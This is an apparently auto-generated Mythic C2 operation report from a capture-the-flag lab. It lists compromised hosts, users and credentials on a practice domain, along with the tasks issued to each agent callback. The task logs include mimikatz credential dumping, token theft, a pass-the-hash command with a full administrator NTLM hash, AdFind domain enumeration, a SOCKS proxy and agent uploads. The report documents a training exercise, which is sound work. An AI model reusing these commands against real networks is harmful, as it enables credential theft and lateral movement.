Capture The Flag Report
Date: 2022/02/17

1 Assigned Operators

The following table lists out all of the operators assigned to the operation and their roles in the assessment.

Operator	Role
mythic_admin	operator

2 Operation Metrics

The following table lists out some metrics for the operation..

Metric	Value
Compromised Users	QUAHOG\chris-a QUAHOG\SYSTEM QUAHOG\lois ROUTER\router ROUTER\root
Compromised Hosts	QUAHOG\MEG QUAHOG\STEWIE QUAHOG\LOIS ROUTER
Total Callbacks	6
Total High Integrity Callbacks	3
Total Tasks Issued	68
Domains Accessed	QUAHOG
Credentials Compromised	QUAHOG\Chris-a QUAHOG\MEG$ QUAHOG\Administrator Quahog.local\MEG$ QUAHOG\STEWIE$ QUAHOG\stewie Quahog.local\STEWIE$ QUAHOG.LOCAL\Administrator QUAHOG\meg-a

Artifact Generated	Instances in operation
ProcessCreate	9
ProcessInject	5
ProcessKill	5
FileWrite	3
FileOpen	3
FileCreate	2
ProcessOpen	1

3 Operation History

The following sections detail all of the callbacks and associated data for the operation. The execution duration field is the time between when the agent requested the task and when the agent stopped sending data for that task.

3.1 New Callback 1

User:	chris-a*
Host:	MEG
Domain:	QUAHOG
PID:	6092
IP	192.168.68.116
Initial Checkin:	02/11/2022 06:50:28 UTC
Description:	Created by mythic_admin at 02/11/2022 06:48:42 UTC
C2 Channels:	http
Agent Type:	apollo

Execution Duration	Task Information
Start: 02/11/2022 07:02:16 UTC End : 02/11/2022 07:02:24 UTC	ps
Start: 02/11/2022 06:51:41 UTC End : 02/11/2022 06:51:42 UTC	whoami
Start: N/A End : N/A	shell whoami
Start: 02/11/2022 06:54:32 UTC End : 02/11/2022 06:54:35 UTC	ps
Start: 02/11/2022 07:02:48 UTC End : 02/11/2022 07:02:48 UTC	exit
Start: 02/11/2022 06:55:59 UTC End : 02/11/2022 06:56:00 UTC	steal_token 4124
Start: 02/11/2022 07:01:12 UTC End : 02/11/2022 07:01:15 UTC	powershell whoami
Start: 02/11/2022 06:58:02 UTC End : 02/11/2022 06:58:03 UTC	whoami
Start: N/A End : N/A	exit
Start: 02/11/2022 06:58:20 UTC End : 02/11/2022 06:58:21 UTC	net_dclist
Start: 02/11/2022 06:59:03 UTC End : 02/11/2022 06:59:04 UTC	net_shares
Start: N/A End : N/A	shell ping 127.0.0.1
Start: N/A End : N/A	shell dir \\10.0.0.1\c$
Start: 02/11/2022 07:00:04 UTC End : 02/11/2022 07:00:05 UTC	run -Executable cmd.exe -Arguments /S /c dir \\10.0.0.1\c$

Execution Duration	Task Information
Start: 02/11/2022 07:01:54 UTC End : 02/11/2022 07:01:55 UTC	run -Executable cmd.exe -Arguments /S /c ping 127.0.0.1
Start: 02/11/2022 07:00:29 UTC End : 02/11/2022 07:00:30 UTC	run -Executable cmd.exe -Arguments /S /c whoami

3.2 New Callback 2

User:	chris-a*
Host:	MEG
Domain:	QUAHOG
PID:	6712
IP	192.168.68.116
Initial Checkin:	02/11/2022 07:03:33 UTC
Description:	Created by mythic_admin at 02/11/2022 06:48:42 UTC
C2 Channels:	http
Agent Type:	apollo

Execution Duration	Task Information
Start: 02/12/2022 06:56:29 UTC End : 02/12/2022 06:56:39 UTC	download -Host MEG -Path C:\Users\chris-a\Desktop\WinSCP-5.19.5-Portable (2).zip
Start: 02/12/2022 06:56:19 UTC End : 02/12/2022 06:56:20 UTC	ls C:\Users\chris-a\Desktop on MEG
Start: 02/12/2022 06:56:04 UTC End : 02/12/2022 06:56:05 UTC	ls C:\Users\chris-a on MEG
Start: 02/12/2022 06:55:56 UTC End : 02/12/2022 06:55:57 UTC	ls C:\Users on MEG
Start: 02/12/2022 06:55:45 UTC End : 02/12/2022 06:55:46 UTC	ls C:\ on MEG
Start: 02/12/2022 06:54:49 UTC End : 02/12/2022 06:54:50 UTC	ls .
Start: 02/12/2022 06:54:22 UTC End : 02/12/2022 06:54:23 UTC	pwd
Start: 02/11/2022 22:48:01 UTC End : 02/11/2022 22:48:02 UTC	sleep 0
Start: N/A End : N/A	socks Started SOCKS5 server on port 7000
Start: 02/11/2022 15:04:12 UTC End : 02/11/2022 15:04:15 UTC	mkdir -Path angry_IP_Scanner
Start: 02/11/2022 15:05:01 UTC End : 02/11/2022 15:05:05 UTC	upload -File ipscan221.exe
Start: 02/11/2022 15:04:33 UTC End : 02/11/2022 15:04:35 UTC	cd angry_IP_Scanner
Start: N/A End : N/A	shell adfind.exe -f "(objectcategory=person)" > user_list1.txt
Start: 02/11/2022 14:21:14 UTC End : 02/11/2022 14:21:15 UTC	ls .
Start: 02/11/2022 14:21:02 UTC End : 02/11/2022 14:21:03 UTC	cat C:\ProgramData\adfind\user_list.txt
Start: 02/11/2022 15:03:49 UTC End : 02/11/2022 15:03:51 UTC	cd ..
Start: 02/11/2022 14:20:56 UTC End : 02/11/2022 14:20:58 UTC	run -Executable cmd.exe -Arguments /S /c adfind.exe -f objectcategory=computer > computer_list.txt

Execution Duration	Task Information
Start: N/A End : N/A	shell adfind.exe -f objectcategory=computer > computer_list.txt
Start: 02/11/2022 14:19:56 UTC End : 02/11/2022 14:19:57 UTC	cat C:\ProgramData\adfind\user_list.txt
Start: 02/11/2022 14:35:49 UTC End : 02/11/2022 14:35:51 UTC	run -Executable cmd.exe -Arguments /S /c adfind.exe -f "(objectcategory=person)" > user_list1.txt
Start: 02/11/2022 14:21:28 UTC End : 02/11/2022 14:21:33 UTC	ps
Start: 02/11/2022 14:19:50 UTC End : 02/11/2022 14:19:51 UTC	ls .
Start: N/A End : N/A	shell adfind.exe -f (objectcategory=person) > user_list.txt
Start: 02/11/2022 14:19:29 UTC End : 02/11/2022 14:19:31 UTC	run -Executable cmd.exe -Arguments /S /c adfind.exe -f (objectcategory=person) > user_list.txt
Start: 02/11/2022 14:11:06 UTC End : 02/11/2022 14:11:07 UTC	ls .
Start: 02/11/2022 14:10:10 UTC End : 02/11/2022 14:10:11 UTC	mkdir -Path adfind
Start: 02/11/2022 14:10:20 UTC End : 02/11/2022 14:10:21 UTC	cd adfind
Start: N/A End : N/A	mimikatz sekurlsa::logonpasswords
Start: N/A End : N/A	mimikatz
Start: N/A End : N/A	shell whoami
Start: 02/11/2022 07:05:50 UTC End : 02/11/2022 07:05:55 UTC	run -Executable cmd.exe -Arguments /S /c whoami
Start: 02/11/2022 14:09:54 UTC End : 02/11/2022 14:09:55 UTC	cd C:\ProgramData
Start: 02/11/2022 07:06:50 UTC End : 02/11/2022 07:07:12 UTC	execute_pe -PE mimikatz.exe -Arguments sekurlsa::logonpasswords
Start: 02/11/2022 14:10:58 UTC End : 02/11/2022 14:11:05 UTC	upload -File AdFind.exe

3.3 New Callback 3

User:	SYSTEM*
Host:	STEWIE
Domain:	QUAHOG
PID:	2356
IP	10.0.0.2
Initial Checkin:	02/11/2022 22:58:03 UTC
Description:	Created by mythic_admin at 02/11/2022 06:48:42 UTC
C2 Channels:	http
Agent Type:	apollo

Execution Duration	Task Information
Start: 02/11/2022 23:06:26 UTC End : 02/11/2022 23:06:53 UTC	execute_pe -PE mimikatz.exe -Arguments sekurlsa::logonpasswords
Start: 02/12/2022 01:08:53 UTC End : 02/12/2022 01:09:11 UTC	execute_pe -PE mimikatz.exe -Arguments sekurlsa::logonpasswords
Start: 02/12/2022 06:24:15 UTC End : 02/12/2022 06:24:50 UTC	upload -File merlin
Start: 02/12/2022 06:23:31 UTC End : 02/12/2022 06:23:33 UTC	pwd
Start: N/A End : N/A	mimikatz sekurlsa::logonpasswords
Start: 02/12/2022 06:23:49 UTC End : 02/12/2022 06:23:50 UTC	cd C:\
Start: 02/11/2022 22:59:36 UTC End : 02/11/2022 22:59:42 UTC	ps
Start: N/A End : N/A	mimikatz sekurlsa::logonpasswords

3.4 New Callback 4

User:	lois
Host:	LOIS
Domain:	QUAHOG
PID:	620
IP	10.0.0.5
Initial Checkin:	02/12/2022 00:35:25 UTC
Description:	Created by mythic_admin at 02/11/2022 06:48:42 UTC
C2 Channels:	http
Agent Type:	apollo

Execution Duration	Task Information
Start: 02/12/2022 00:49:07 UTC End : 02/12/2022 00:49:24 UTC	execute_pe -PE mimikatz.exe -Arguments \"sekurlsa::pth /domain:quahog.local /user:administrator /ntlm:e1baa61be4dd122db810cda5731c94c1\"
Start: 02/12/2022 00:43:16 UTC End : 02/12/2022 00:43:50 UTC	execute_pe -PE mimikatz.exe -Arguments sekurlsa::logonpasswords
Start: N/A End : N/A	mimikatz sekurlsa::logonpasswords
Start: 02/12/2022 00:40:54 UTC End : 02/12/2022 00:40:57 UTC	ps
Start: N/A End : N/A	pth -Domain quahog.local -User administrator -NTLM e1baa61be4dd122db810cda5731c94c1
Start: 02/12/2022 00:38:35 UTC End : 02/12/2022 00:38:36 UTC	getprivs
Start: 02/12/2022 00:42:43 UTC End : 02/12/2022 00:43:49 UTC	ls .
Start: 02/12/2022 00:42:28 UTC End : 02/12/2022 00:42:29 UTC	get_injection_techniques

3.5 New Callback 5

User:	router
Host:	ROUTER
Domain:	
PID:	174856
IP	192.168.68.115/24
External IP	192.168.68.115
Initial Checkin:	02/12/2022 06:40:02 UTC
Description:	Created by mythic_admin at 02/11/2022 23:32:09 UTC
C2 Channels:	http
Agent Type:	merlin

Execution Duration	Task Information
Start: 02/12/2022 06:40:26 UTC End : 02/12/2022 06:40:26 UTC	exit

3.6 New Callback 6

User:	root
Host:	ROUTER
Domain:	
PID:	174894
IP	192.168.68.115/24
External IP	192.168.68.115
Initial Checkin:	02/12/2022 06:41:07 UTC
Description:	Created by mythic_admin at 02/11/2022 23:32:09 UTC
C2 Channels:	http
Agent Type:	merlin

Execution Duration	Task Information
Start: 02/12/2022 06:41:56 UTC End : 02/12/2022 06:41:58 UTC	ls .